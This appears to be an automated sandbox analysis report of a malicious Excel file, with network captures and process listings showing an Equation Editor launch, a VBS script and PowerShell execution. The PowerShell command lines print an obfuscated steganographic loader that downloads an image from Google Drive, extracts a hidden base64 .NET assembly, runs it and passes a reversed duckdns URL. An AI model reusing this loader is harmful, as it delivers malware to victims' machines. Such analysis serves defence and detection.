2024-10-24 06:52:48 UTC	1369	IN	Data Raw: 6e 55 73 65 4e 65 67 6f 74 69 61 74 65 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 65 6c 73 65 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 53 53 45 52 54 42 4f 4f 4c 20 66 61 6c 73 65 2c 20 22 54 68 65 20 73 70 65 63 69 66 69 65 64 20 27 2d 22 20 26 20 4e 50 41 52 41 5f 50 52 4f 58 59 41 55 54 48 20 26 20 22 27 20 66 6c 61 67 20 27 22 20 26 20 70 72 6f 78 79 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 4d 65 63 68 61 6e 69 73 6d 56 61 6c 20 26 20 22 27 20 68 61 73 20 61 6e 20 69 6e 76 61 6c 69 64 20 76 61 6c 75 65 2e 22 0d 0a 20 20 20 20 20 20 20 20 65 6e 64 20 73 65 6c 65 63 74 0d 0a 20 20 20 20 65 6e 64 20 69 66 0d 0a 20 20 20 20 69 66 20 6f 70 74 44 69 63 2e 41 72 67 75 6d 65 6e 74 45 78 69 73 74 73 28 4e 50 41 52 41 5f 50 52 Data Ascii: nUseNegotiate case else ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '" & proxyAuthenticationMechanismVal & "' has an invalid value." end select end if if optDic.ArgumentExists(NPARA_PR
2024-10-24 06:52:48 UTC	1369	IN	Data Raw: 65 6e 73 75 72 65 20 74 68 69 73 20 69 73 20 6f 6e 6c 79 20 75 73 65 64 20 77 2f 20 68 74 74 70 73 0d 0a 20 20 20 20 20 20 20 20 74 75 70 69 61 46 6c 61 67 73 20 3d 20 74 75 70 69 61 46 6c 61 67 73 20 4f 52 20 77 73 6d 61 6e 2e 53 65 73 73 69 6f 6e 46 6c 61 67 53 6b 69 70 43 4e 43 68 65 63 6b 0d 0a 20 20 20 20 65 6e 64 20 69 66 0d 0a 0d 0a 20 20 20 20 69 66 20 6f 70 74 44 69 63 2e 41 72 67 75 6d 65 6e 74 45 78 69 73 74 73 28 4e 50 41 52 41 5f 4e 4f 52 45 56 43 48 4b 29 20 74 68 65 6e 0d 0a 20 20 20 20 20 20 20 20 27 43 20 41 50 49 20 77 69 6c 6c 20 65 6e 73 75 72 65 20 74 68 69 73 20 69 73 20 6f 6e 6c 79 20 75 73 65 64 20 77 2f 20 68 74 74 70 73 0d 0a 20 20 20 20 20 20 20 20 74 75 70 69 61 46 6c 61 67 73 20 3d 20 74 75 70 69 61 46 6c 61 67 73 20 4f 52 20 Data Ascii: ensure this is only used w/ https tupiaFlags = tupiaFlags OR wsman.SessionFlagSkipCNCheck end if if optDic.ArgumentExists(NPARA_NOREVCHK) then 'C API will ensure this is only used w/ https tupiaFlags = tupiaFlags OR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49166	216.58.206.46	443	3808	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:52:51 UTC	121	OUT	GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-24 06:52:51 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 24 Oct 2024 06:52:51 GMT Location: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-SmDIEc8JB4qFWNBCH-lwvA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49167	142.250.186.97	443	3808	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:52:53 UTC	139	OUT	GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-24 06:52:55 UTC	4906	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="new_image-new.jpg" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 2239109 Last-Modified: Mon, 21 Oct 2024 13:42:20 GMT X-GUploader-UploadID: AHmUCY0WpLIzED1mPyLj6-eZOLfhYMOup03X0hw_KdZPqGxlxUWqauA8ZinN6FVmr4bMOZ9S8pfWx65vdQ Date: Thu, 24 Oct 2024 06:52:55 GMT Expires: Thu, 24 Oct 2024 06:52:55 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=WqxmdA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-24 06:52:55 UTC	4906	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-10-24 06:52:55 UTC	4884	IN	Data Raw: 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c a8 45 2e de 2f b9 cd 04 62 f1 19 03 ed 55 b5 34 6c 13 99 53 48 aa 43 28 23 68 01 89 e7 9c 98 27 46 81 d1 49 00 1d c6 fb 9c 07 6f 7c 8a 24 76 64 ec a4 5e 15 62 d3 c0 8c e5 e5 24 03 e9 02 c5 62 1a 6d 62 bb 00 cc 14 ad 81 78 71 36 e4 61 be af 8c 0c ad 42 99 26 76 51 44 9a 0a 16 b8 c5 99 19 0d 32 90 7e 23 35 a4 11 b3 15 27 e2 0f 4b e3 17 d4 ed 10 80 24 dc 4f 40 70 33 eb Data Ascii: 8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}E./bU4lSHC(#h'FIo\|$vd^b$bmbxq6aB&vQD2~#5'K$O@p3
2024-10-24 06:52:55 UTC	1378	IN	Data Raw: f9 18 1a 03 c4 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7 e5 81 e9 07 8b 40 da 67 d5 0f 0e d3 10 ac 29 77 3d 76 04 fe 3e c4 af e7 f0 39 da 6f 1b d3 6a 1c ef d0 c2 18 ad 85 4d ec c4 fc 8b f3 f4 ed ce 61 40 cf 14 91 b0 04 a8 24 15 27 f8 4f 0c 3f 2c a2 b4 b0 b9 da 40 ba b0 c0 30 ef 55 63 b7 be 06 9c de 2d 13 9a 1a 38 a3 b3 cb 29 6b 35 f0 2c 72 ad e3 50 00 36 f8 74 25 bd ed f9 ff 00 c5 99 f3 17 91 43 33 12 d4 7f 11 ba e7 b6 2e 18 b2 d8 8c 00 bf e2 16 0e 06 be b7 c5 22 62 a9 1e 8e 28 db 68 Data Ascii: #k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*@g)w=v>9ojMa@$'O?,@0Uc-8)k5,rP6t%C3."b(h
2024-10-24 06:52:55 UTC	1378	IN	Data Raw: e3 0e ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a ea 53 53 2c 72 6d 0a b1 86 20 1e 7a fe 59 89 11 d7 6a 17 64 26 79 1a e8 90 cc 76 df c7 a0 ca b3 a3 43 24 b3 6a 7f 7b c0 45 ae 4d 77 bf 6c 67 c3 5e 72 fb 20 75 60 80 ca 55 ba 13 44 1f e7 81 53 a2 f1 b4 86 49 8c b3 20 4e 4a 89 da c8 fa 1c 57 45 ac f1 1d 44 a4 c5 aa 76 65 e4 2b 4a 7a 7d 78 cf 68 ed fb a6 b5 05 45 92 08 be 9c e7 90 d7 c4 9a 5f 11 d4 84 04 02 4b 75 e3 91 ed 81 a1 a2 fb 43 18 3e 5e b2 44 0f c8 de 08 02 fe 20 74 cd 5d Data Ascii: @p1Hj/X$]awk)I,-lO(GuBk*>BDoGJp+m+{SS,rm zYjd&yvC$j{EMwlg^r u`UDSI NJWEDve+Jz}xhE_KuC>^D t]
2024-10-24 06:52:55 UTC	1378	IN	Data Raw: 47 6c 3a 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4 78 ee 01 6e c3 a6 0b f6 84 1a 2f da f4 cd 33 8d 41 69 34 c7 72 a8 51 b7 62 71 ed d3 bf 7b be 3a 66 ef d9 08 53 67 da 44 1a 69 62 f1 18 b4 4e 93 ab 23 16 45 43 10 29 60 05 03 d2 d4 a0 0a af 86 64 7d b5 d6 e9 b5 bf b4 81 3b 23 16 94 69 24 01 db 90 1a 28 d8 0e bf 1c 0d 1f da cc fe 54 1f 66 56 3d cb 1f fb 35 76 ad 81 43 8f fa 67 cc c3 ea a2 5b d3 06 21 bd 54 05 fe b9 f5 2f da 8c 48 e3 ec f0 92 2d 81 7c 35 00 66 61 46 b6 f4 e7 3c 34 Data Ascii: Gl:'6Xi50X~?G6OBwV)\|jXmsf9 `we!6q{PG\|$iar_LNb#xn/3Ai4rQbq{:fSgDibN#EC)`d};#i$(TfV=5vCg[!T/H-\|5faF<4
2024-10-24 06:52:55 UTC	1378	IN	Data Raw: 91 cf 18 c3 29 58 5a 9c d9 3e 9f 96 1e 08 8c b0 82 dc af 42 47 38 19 e1 37 37 ac 6e 1e f8 64 2c ea 50 8b 5a e2 86 72 43 20 d6 98 ca 91 10 e6 f1 98 e2 02 56 0a 59 42 8b 23 df 01 78 b4 e9 01 ad a6 db b0 c3 47 a2 56 90 52 30 0d d6 fb 64 88 77 4d bc c8 dc 9e 06 3a 6d 23 01 59 b7 11 d7 02 87 46 9a 6b 23 93 d3 e9 81 56 57 0c 03 58 06 a8 8e 70 da 98 8b 4d 13 09 58 9a a2 07 f3 c4 91 36 ea 25 46 91 89 bf 4f 15 81 05 48 73 66 fe 99 59 d0 32 6d 65 e4 64 32 32 cc 41 73 f0 bc ba 5b 0d 92 1b 61 d0 d6 02 fa 7d 3a 39 3e 9f 52 f4 38 dc 6b 21 43 bb a8 e9 95 8c 04 52 43 10 df 2c 32 12 50 6d 66 2c 7a fc 30 2f 06 8d a6 25 a4 34 3b 58 c8 96 22 d1 f4 52 cb c0 ac d4 44 56 45 f2 d8 8f 46 d3 f1 f8 e6 63 11 a7 d4 37 3c 01 54 7b e0 0e 5d b1 bd 58 06 85 71 f0 c3 94 4f ba 05 25 43 37 Data Ascii: )XZ>BG877nd,PZrC VYB#xGVR0dwM:m#YFk#VWXpMX6%FOHsfY2med22As[a}:9>R8k!CRC,2Pmf,z0/%4;X"RDVEFc7<T{]XqO%C7
2024-10-24 06:52:55 UTC	1378	IN	Data Raw: ff 00 ab 01 32 29 b9 26 8f b6 16 02 34 ee 25 08 c5 87 2a bb c8 03 e7 44 1f d7 0f f7 49 0c 77 be 02 4f ff 00 6f 4f fd 59 0d a4 95 63 16 d0 90 be d3 23 7e 81 b0 1a 86 59 f5 09 23 43 24 e1 4d 1d cd 2b 11 d0 58 15 c0 b3 fe 20 46 44 5a 83 3b 14 59 a6 89 55 50 bb b4 cc 6c d8 56 ef d3 93 f9 7b 62 09 a7 96 48 77 a3 42 01 3c dc aa a4 8f 88 2c 32 1f 49 22 a9 25 a1 20 2e ea 12 27 4f a3 73 80 ea 99 bc a5 f3 1a 44 2e 18 28 69 18 f2 0a f5 00 93 5c 9e dd 33 33 5c 85 67 60 58 b1 e2 d9 9a cf f7 af 9e 73 bb 36 9c 21 24 aa 12 47 3c 73 5f 9e 2c 78 04 0b a3 c9 27 02 83 83 9a be 16 e9 1c 52 33 90 29 81 e7 e5 99 4a 2c e6 e7 81 e9 61 d4 45 28 96 23 21 0c 36 fb 0c 0d 48 75 9a 52 a1 69 48 6f c3 75 57 99 1a f9 8f dd 9d 23 da c0 b7 2c 3a e6 e4 de 1f 02 10 91 32 83 b4 b0 b4 04 03 5d Data Ascii: 2)&4%*DIwOoOYc#~Y#C$M+X FDZ;YUPlV{bHwB<,2I"% .'OsD.(i\33\g`Xs6!$G<s_,x'R3)J,aE(#!6HuRiHouW#,:2]
2024-10-24 06:52:55 UTC	1378	IN	Data Raw: 15 5d bf a6 09 d8 19 02 81 47 df 03 d0 7d 9e 56 6d 0b d3 6d 01 ec 1f a5 62 bf 68 55 9b 57 a7 0d d7 6f 1f 1f 56 5b c2 35 03 45 0c 9e 71 db 16 e5 36 db af 9b 1c 7e 78 2f 13 d4 47 ac d4 c6 da 76 de 11 4a 9d bb ab df db 03 d0 1d eb a5 2a 59 98 85 6f c5 db e1 9e 7f ec d0 65 9a 72 39 f4 0f e7 9a e7 59 12 e9 49 97 74 67 98 d4 10 c6 cd 7b 7d 33 27 c1 b7 e9 27 73 22 32 ab a8 16 55 b9 eb d0 56 03 3e 3f a7 f3 60 13 85 f5 44 68 ff 00 ba 7f eb 97 d0 f8 ac 6b e1 db a4 3c c4 84 f4 27 75 76 c7 27 96 07 86 45 91 c4 6a ca 08 69 01 0a 77 03 c0 be a7 8c f1 c2 45 86 52 a5 4b c5 7c 7a a8 10 3e 38 1e 8f 45 71 81 23 bb 7d e2 57 0c ea 1e ec 37 22 97 bf 40 0d f6 27 0b aa f1 6d 1f 87 c6 22 0e 24 91 46 d1 1c 7f c2 45 8e 4f 6e 95 99 7b 3c 5f c5 90 05 8c 41 a6 6b 62 45 20 6b b2 49 fe Data Ascii: ]G}VmmbhUWoV[5Eq6~x/GvJ*Yoer9YItg{}3''s"2UV>?`Dhk<'uv'EjiwERK\|z>8Eq#}W7"@'m"$FEOn{<_AkbE kI
2024-10-24 06:52:55 UTC	1378	IN	Data Raw: c9 a2 0a c1 83 32 8f 22 1f 51 5f c4 07 3d c6 6b 7d 84 d4 3e 8b c6 3e d6 46 92 42 d1 a7 83 6a 9c 79 60 fa 76 95 3b 41 20 1e fc e6 27 db 14 0d f6 bd 1c 39 15 a7 d1 15 63 dc 7d de 2a c0 f4 9f b5 e9 e4 66 fb 3d e6 24 b1 ca 9a 3d 92 ab 22 a8 0d b5 18 f0 39 1c b5 73 ed 9f 39 d3 40 41 2e 25 da c3 e1 9f 58 fd b3 cb a6 6f 1d f0 5d 3e a6 49 04 50 a3 89 5d 41 69 0f 0a 68 02 40 ff 00 47 3e 63 19 73 11 0b 11 65 00 0e 08 04 1b e8 6b eb 80 16 49 4a b2 79 a5 95 81 06 85 60 df 46 15 81 f3 38 35 7e 95 be 3e 39 a4 c9 b9 76 15 28 d5 dc 7f 5c 4e 73 e4 05 56 91 c5 9a e2 bf b6 05 f4 30 9f 35 9c 92 39 b5 0d 44 9b f9 65 f5 28 eb 21 60 ea 41 ef b7 a7 eb 93 02 ed 56 70 f2 1f cb fb 64 b9 67 04 17 60 0f ca f0 10 9d dc 00 a6 82 df 04 1e bf 4c 59 1e 35 d4 ac 80 30 2a c1 a8 f7 ae 72 e4 Data Ascii: 2"Q_=k}>>FBjy`v;A '9c}f=$="9s9@A.%Xo]>IP]Aih@G>csekIJy`F85~>9v(\NsV059De(!`AVpdg`LY50r
2024-10-24 06:52:55 UTC	1378	IN	Data Raw: 8a a3 6f 37 8a 68 7c 54 6a f5 6e a1 58 93 d2 ff 00 0e 06 b1 71 e6 86 14 01 e3 35 1a 26 01 02 90 40 51 98 a6 46 ad a5 68 8f 61 8f 47 3b be 94 12 18 38 e2 fb d6 03 ee 8a 40 e5 77 03 57 ed 99 72 41 73 19 59 82 95 36 6c f1 8d 39 91 62 57 03 e2 d7 94 79 b7 46 43 42 ac 08 a6 e7 00 12 a4 72 c2 35 01 d6 ec f4 c5 11 d9 e4 6d cc 09 19 da 9d f3 41 22 44 16 26 2a 55 6b b6 28 35 02 2d 54 7a 5a b7 65 b2 c7 e0 30 0b a9 94 45 a9 44 67 1b 4f 38 ea ea 12 29 46 c2 b5 fc 40 e2 7a bd 3a 4e ea d2 2a 8d b5 cd e5 e0 81 5d 4c c4 86 8f a5 8c 0d b6 d5 a0 d3 f9 88 a1 56 bf 2c cc 96 68 e6 f5 07 52 4f c7 13 f1 2d 54 ef a0 91 74 e8 ab 10 1b 49 ef 79 e5 9a 79 e3 05 0b 1b 53 d7 bd e0 7b 2d 3c a8 58 a1 75 0c 0f 17 df 0b a9 9d 9b 4a 51 59 42 a9 e2 bd fd b3 c5 cb aa d5 ee 0f 23 b2 9a e0 91 Data Ascii: o7h\|TjnXq5&@QFhaG;8@wWrAsY6l9bWyFCBr5mA"D&Uk(5-TzZe0EDgO8)F@z:N]LV,hRO-TtIyyS{-<XuJQYB#

Target ID:	0
Start time:	02:51:52
Start date:	24/10/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f6c0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:52:41
Start date:	24/10/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:52:44
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs"
Imagebase:	0xab0000
File size:	141'824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:52:47
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x140000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:52:48
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, 